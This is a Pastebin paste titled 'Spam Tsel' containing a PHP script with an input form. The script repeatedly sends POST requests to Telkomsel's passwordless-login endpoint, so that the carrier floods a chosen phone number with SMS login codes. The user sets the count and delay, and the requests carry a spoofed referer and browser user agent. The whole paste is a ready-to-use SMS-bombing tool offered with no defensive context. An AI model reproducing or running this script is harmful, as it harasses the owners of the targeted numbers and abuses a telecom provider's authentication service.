Advertisement
Kachang404

Spam Tsel

Dec 17th, 2018
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.32 KB | None | 0 0
  1. <pre>
  2. <form method="POST">
  3. <label><b>Nomor :</b></label> <input class="form-control" type="number" placeholder="628 or 08" name="nomer" id="nomer" value="" required>
  4.  
  5. <label><b>Jumlah :</b></label> <input class="form-control" type="number" placeholder="1-10" name="jumlah" id="jumlah" required>
  6.  
  7. <label><b>Delay :</b></label> <input class="form-control" type="number" placeholder="1" name="jeda" id="jeda" required>
  8. <br>
  9. <input type="submit" class="form-control">
  10. <?php
  11.  
  12. function mytsel($no, $jum, $wait){
  13.  
  14. $x = 0;
  15.  
  16. while($x < $jum) {
  17.  
  18. $ch = curl_init();
  19.  
  20. curl_setopt($ch, CURLOPT_URL,"https://tdwidm.telkomsel.com/passwordless/start");
  21.  
  22. curl_setopt($ch, CURLOPT_POST, 1);
  23.  
  24. curl_setopt($ch, CURLOPT_POSTFIELDS,"phone_number=%2B".$no."&connection=sms");
  25.  
  26. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  27.  
  28. curl_setopt($ch, CURLOPT_REFERER, 'https://my.telkomsel.com/');
  29.  
  30. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  31.  
  32.  
  33. $server_output = curl_exec ($ch);
  34.  
  35. curl_close ($ch);
  36.  
  37.         echo $server_output."\n";
  38.  
  39. sleep($wait);
  40.  
  41. $x++;
  42.  
  43. flush();
  44.  
  45. }
  46.  
  47. }
  48.  
  49. $nomor = $_POST['nomer'];
  50. $jumlah = $_POST['jumlah'];
  51. $jeda = $_POST['jeda'];
  52.  
  53. $execute = mytsel($nomor, $jumlah, $jeda);
  54.  
  55. print $execute;
  56.  
  57. ?></pre>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement